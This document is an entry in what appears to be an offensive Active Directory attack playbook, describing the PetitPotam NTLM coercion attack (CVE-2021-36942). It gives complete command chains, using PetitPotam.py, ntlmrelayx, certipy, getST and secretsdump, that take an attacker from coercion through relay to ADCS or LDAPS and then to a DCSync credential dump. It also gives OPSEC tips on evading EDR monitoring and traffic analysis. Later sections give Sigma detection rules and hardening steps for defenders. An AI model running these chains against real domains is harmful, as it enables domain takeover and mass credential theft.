🔵 Attack #41 — PetitPotam (CVE-2021-36942) — NTLM Coercion

📖 How It Works

PetitPotam exploits the Encrypting File System Remote Protocol (MS-EFSR) to coerce a target (typically a DC) to authenticate to an attacker-controlled host via NTLM. This coerced authentication is then relayed to another service — most commonly ADCS web enrollment (ESC8) — to obtain a certificate for the coerced machine account, enabling DCSync and full domain compromise.

PetitPotam was initially exploitable without authentication on unpatched DCs, making it an unauthenticated domain compromise vector when combined with ESC8.

[!info]+ Technical Deep-Dive — MS-EFSR RPC Call Flow ris:FileList

1. The attacker connects to the target’s MS-EFSR RPC endpoint — accessible via two named pipes: \pipe\efsrpc (direct) and \pipe\lsarpc (LSASS-hosted)
2. The DCERPC interface UUID is c681d488-d850-11d0-8c52-00c04fd90f7e (MS-EFSR)
3. The attacker calls one of several EFS RPC functions (see table below) with a UNC path pointing to the attacker’s listener (e.g., \\ATTACKER_IP\share\file)
4. The target DC attempts to access the specified UNC path, triggering NTLM authentication back to the attacker
5. The attacker captures this NTLM authentication and relays it to a target service (ADCS HTTP enrollment, LDAP, SMB, etc.)
6. The relay target receives the authentication as if it came from the DC machine account — enabling certificate enrollment, RBCD configuration, or other privileged operations

Exploitable EFS RPC Functions

[!warning]+ Patch Status and Authentication Requirements fas:TriangleExclamation

1. Pre-August 2021 patch: EfsRpcOpenFileRaw (OpNum 0) was callable without authentication — combined with ESC8, this gave unauthenticated domain compromise
2. Post-August 2021 patch: EfsRpcOpenFileRaw requires authentication; other functions always required auth
3. Post-patch, PetitPotam still works with any domain credential — the patch only closed the unauthenticated vector
4. Even on fully patched systems, PetitPotam with any low-priv domain account + ESC8 = full domain compromise

⚙️ Prerequisites

🛠️ Tools

⏱️ Time-to-Execute Estimates

💻 Full Commands

🔴 PetitPotam Coercion

# ── Unauthenticated (unpatched DCs only — pre-Aug 2021) ──────────────────────
python3 PetitPotam.py LISTENER_IP DC01.corp.local

# ── Authenticated (works on all DCs) ─────────────────────────────────────────
python3 PetitPotam.py -u low_user -p 'Password1' -d corp.local \
  LISTENER_IP DC01.corp.local

# ── With Pass-the-Hash ────────────────────────────────────────────────────────
python3 PetitPotam.py -u low_user -hashes :aabbccdd11223344 -d corp.local \
  LISTENER_IP DC01.corp.local

# ── Specify named pipe (bypass pipe filtering) ────────────────────────────────
python3 PetitPotam.py -u low_user -p 'Password1' -d corp.local \
  -pipe lsarpc LISTENER_IP DC01.corp.local
# Try: efsrpc, lsarpc, samr, netlogon, lsass

🔴 Full Attack Chain — PetitPotam + ESC8 (Most Common)

# ── Terminal 1: Start relay to ADCS web enrollment ────────────────────────────
ntlmrelayx.py -t http://CA01.corp.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# ── Terminal 2: Coerce DC to authenticate to our relay ────────────────────────
python3 PetitPotam.py ATTACKER_IP DC01.corp.local
# (or with auth: python3 PetitPotam.py -u user -p pass -d corp.local ATTACKER_IP DC01.corp.local)

# ── Result: ntlmrelayx captures a certificate for DC01$ ──────────────────────
# Output: "Certificate is saved to DC01.corp.local.b64"

# ── Terminal 3: Authenticate with the certificate → get TGT → DCSync ─────────
certipy auth -pfx DC01.pfx -dc-ip 10.10.10.10
# Outputs: DC01.ccache (TGT for DC01$ machine account)

export KRB5CCNAME=DC01.ccache
secretsdump.py -k -no-pass corp.local/'DC01$'@DC01.corp.local -just-dc
# Full domain credential dump via DCSync

🔴 PetitPotam + LDAPS Relay (RBCD Abuse)

# ── If LDAP signing is NOT enforced and ADCS is not available ─────────────────

# Terminal 1: Start LDAPS relay with delegate access
ntlmrelayx.py -t ldaps://DC02.corp.local --delegate-access -smb2support

# Terminal 2: Coerce DC01 to authenticate
python3 PetitPotam.py -u low_user -p 'Password1' -d corp.local \
  ATTACKER_IP DC01.corp.local

# Result: ntlmrelayx creates a machine account and configures RBCD
# Output: "Delegation rights modified — YOURPC$ can delegate to DC01$"

# Terminal 3: S4U2Self + S4U2Proxy to impersonate Administrator
getST.py -spn cifs/DC01.corp.local -impersonate Administrator \
  -dc-ip 10.10.10.10 corp.local/'YOURPC$':'RandomPassword'

export KRB5CCNAME=Administrator@cifs_DC01.corp.local@CORP.LOCAL.ccache
secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local

🔴 Coercer (Multi-Protocol — Includes PetitPotam + More)

# ── Scan for all available coercion methods ───────────────────────────────────
coercer scan -u low_user -p 'Password1' -d corp.local \
  -t DC01.corp.local

# ── Coerce via MS-EFSR specifically ──────────────────────────────────────────
coercer coerce -u low_user -p 'Password1' -d corp.local \
  -l LISTENER_IP -t DC01.corp.local --filter-protocol-name MS-EFSR

# ── Coerce via ALL available protocols ────────────────────────────────────────
coercer coerce -u low_user -p 'Password1' -d corp.local \
  -l LISTENER_IP -t DC01.corp.local

# ── Coerce with specific pipe ────────────────────────────────────────────────
coercer coerce -u low_user -p 'Password1' -d corp.local \
  -l LISTENER_IP -t DC01.corp.local --filter-pipe-name efsrpc

🎯 OPSEC Tips

1. PetitPotam coercion itself is relatively quiet — a single EFS RPC call generates minimal logs compared to brute-force attacks
2. The relay portion is the noisy part — NTLM relay to ADCS generates certificate enrollment events; relay to LDAP generates LDAP modification events
3. Use \pipe\lsarpc instead of \pipe\efsrpc — some EDR tools specifically monitor for efsrpc pipe access; lsarpc is more common and blends with normal traffic
4. Coercer’s scan mode is detectable — it probes multiple RPC endpoints; use targeted coercion (specify protocol) instead of scanning all protocols
5. Time the attack during business hours — NTLM traffic is normal during working hours; off-hours coercion stands out in traffic analysis
6. Clean up RBCD delegations if using the LDAPS relay path — leftover msDS-AllowedToActOnBehalfOfOtherIdentity entries are forensic artifacts

📊 OpSec Ranking

🛡️ Detection — Event IDs

🔎 Sigma Rules

# ── SigmaHQ — PetitPotam NTLM Coercion via MS-EFSR ──────────────────────────
title: PetitPotam NTLM Coercion (MS-EFSR Pipe Access)
id: f0d2e6b8-petitpotam-efsr-coercion
status: experimental
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5145
    ShareName: '\\*\IPC$'
    RelativeTargetName|contains:
      - 'efsrpc'
      - 'lsarpc'
  condition: selection
level: high
tags:
  - attack.credential_access
  - attack.t1187
  - cve.2021.36942

# ── SigmaHQ — ADCS Certificate Enrollment for Machine Account ────────────────
title: Suspicious Certificate Enrollment for Machine Account
id: a1b2c3d4-adcs-machine-cert-enrollment
logsource:
  product: windows
  service: security
  provider: 'Microsoft-Windows-CertificateServicesClient-AutoEnroll'
detection:
  selection:
    EventID:
      - 4886
      - 4887
    SubjectName|contains: '$'
    Template|contains: 'DomainController'
  condition: selection
level: high

🛡️ EDR-Specific Detections

[!warning]+ Microsoft Defender for Identity (MDI) ris:Windows

1. “Suspected NTLM authentication tampering” — detects NTLM relay patterns including PetitPotam-initiated coercion
2. “Suspected NTLM relay attack (Exchange account)” — broader relay detection that also catches PetitPotam chains
3. MDI correlates NTLM authentication from DC machine accounts to non-DC targets as suspicious
4. Post-2023 MDI updates include specific PetitPotam coercion detection via MS-EFSR pipe monitoring

[!warning]+ CrowdStrike Falcon ris:Radar

1. “NTLM Coercion Attack Detected” — behavioral detection for MS-EFSR-triggered NTLM authentication to external hosts
2. Falcon monitors outbound NTLM from DC machine accounts — any auth to a non-DC is flagged
3. Process-level detection for PetitPotam.py and Coercer execution on attacker machines within the network

[!warning]+ Elastic Security ris:FileList

1. Rule: “Potential NTLM Coercion via MS-EFSR” — monitors for EFS pipe access from unusual sources
2. Rule: “ADCS Certificate Enrollment for Machine Account” — detects relay-to-ADCS chain completion
3. Rule: “Outbound NTLM from Domain Controller” — network-level detection for DC-originated NTLM to non-DCs

🔬 Forensic Artifacts

[!important]+ Windows Server Version & Patch Differences ris:Windows

1. Pre-August 2021: EfsRpcOpenFileRaw callable without authentication — unauthenticated domain compromise when paired with ESC8
2. August 2021 patch: Closes unauthenticated vector for EfsRpcOpenFileRaw; other functions still require only low-priv auth
3. Server 2016: Vulnerable; patch available
4. Server 2019: Vulnerable; patch available
5. Server 2022: Shipped patched for unauth; authenticated coercion still works unless EPA is enforced on ADCS
6. Server 2025: EPA enabled by default on IIS/ADCS HTTP endpoints — blocks the ESC8 relay path out of the box; LDAPS relay may still work if LDAP channel binding is not enforced
7. The definitive mitigation is enforcing Extended Protection for Authentication (EPA) on ADCS web enrollment + enforcing LDAP channel binding — NOT just patching PetitPotam

🔒 Hardening & Prevention

# ── 1. Enable EPA on ADCS Web Enrollment (blocks ESC8 relay) ─────────────────
# On the CA server running Certificate Authority Web Enrollment:
# IIS Manager → Sites → Default Web Site → certsrv →
# Authentication → Windows Authentication → Advanced Settings →
# Extended Protection: Required
# Token Checking: Allow

# Or via appcmd:
appcmd.exe set config "Default Web Site/certsrv" `
  /section:windowsAuthentication /extendedProtection.tokenChecking:Require

# ── 2. Enforce LDAP signing (blocks LDAP relay) ──────────────────────────────
# GPO → Computer Configuration → Windows Settings → Security Settings →
# Local Policies → Security Options →
# "Domain controller: LDAP server signing requirements" = "Require signing"

# Registry on DCs:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
  -Name "LDAPServerIntegrity" -Value 2 -Type DWord

# ── 3. Enforce LDAP channel binding (blocks LDAPS relay) ─────────────────────
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
  -Name "LdapEnforceChannelBinding" -Value 2 -Type DWord
# Value 2 = Always enforce channel binding

# ── 4. Disable NTLM where possible ───────────────────────────────────────────
# GPO → Computer Configuration → Windows Settings → Security Settings →
# Local Policies → Security Options →
# "Network security: Restrict NTLM: NTLM authentication in this domain" = "Deny all"
# ⚠️ Test thoroughly — many legacy apps depend on NTLM

# ── 5. Disable unnecessary EFS RPC service ────────────────────────────────────
# If EFS is not used, consider disabling access to the EFS pipe:
# However, there is no clean way to disable MS-EFSR without breaking EFS functionality
# Best approach: patch + EPA + LDAP signing

# ── 6. Block outbound NTLM from Domain Controllers ───────────────────────────
# Windows Firewall rule to prevent DCs from authenticating to workstation IPs:
New-NetFirewallRule -DisplayName "Block DC Outbound SMB/NTLM" `
  -Direction Outbound -Protocol TCP -RemotePort 445 `
  -RemoteAddress "10.10.10.0/24" -Action Block `
  -Profile Domain
# ⚠️ Exclude other DC IPs and trusted servers

# ── 7. Remove the ADCS HTTP enrollment endpoint entirely ─────────────────────
# If web enrollment is not needed, disable it:
# Server Manager → Remove Roles → Remove "Certificate Authority Web Enrollment"
# This completely eliminates the ESC8 attack surface

# ── 8. Apply August 2021 patch ────────────────────────────────────────────────
# KB5005565 (Server 2019), KB5005573 (Server 2016)
# Closes the unauthenticated vector — but authenticated PetitPotam still works

🧩 Troubleshooting

🗺️ MITRE ATT&CK

[!tip]+ Real-World Usage fas:Lightbulb

1. PetitPotam + ESC8 is one of the most commonly exploited attack chains in modern AD pentests — nearly every environment with ADCS web enrollment enabled is vulnerable
2. LockBit, BlackCat/ALPHV ransomware groups have incorporated PetitPotam into their automated domain compromise playbooks
3. CISA Alert AA21-209A specifically warns about PetitPotam exploitation in the wild
4. The combination of PetitPotam (coercion) + ESC8 (relay) represents the most impactful AD attack chain discovered since Zerologon

🔗 Attack Chain Context

[PetitPotam] ──→ NTLM Coercion → Relay → Domain Compromise
         │
         ├──→ 🔗 PetitPotam + ESC8 = most common ADCS attack chain (Attack #33)
         ├──→ 🔗 Also chains with: LDAP relay → RBCD, Unconstrained Delegation (Attack #15)
         ├──→ 🔗 Related: PrinterBug (Attack #42) — MS-RPRN coercion (similar concept)
         ├──→ 🔗 Related: NTLM Relay (Attack #7) — relay framework
         ├──→ 💥 Unauthenticated on unpatched DCs (pre-Aug 2021 patches)
         ├──→ 🔗 Coercer tool combines PetitPotam with DFSCoerce, PrinterBug, and more
         └──→ 💀 Defeated by: patch, enable EPA on ADCS, enforce LDAP signing/channel binding, disable NTLM

✅ Attack #41 — PetitPotam complete.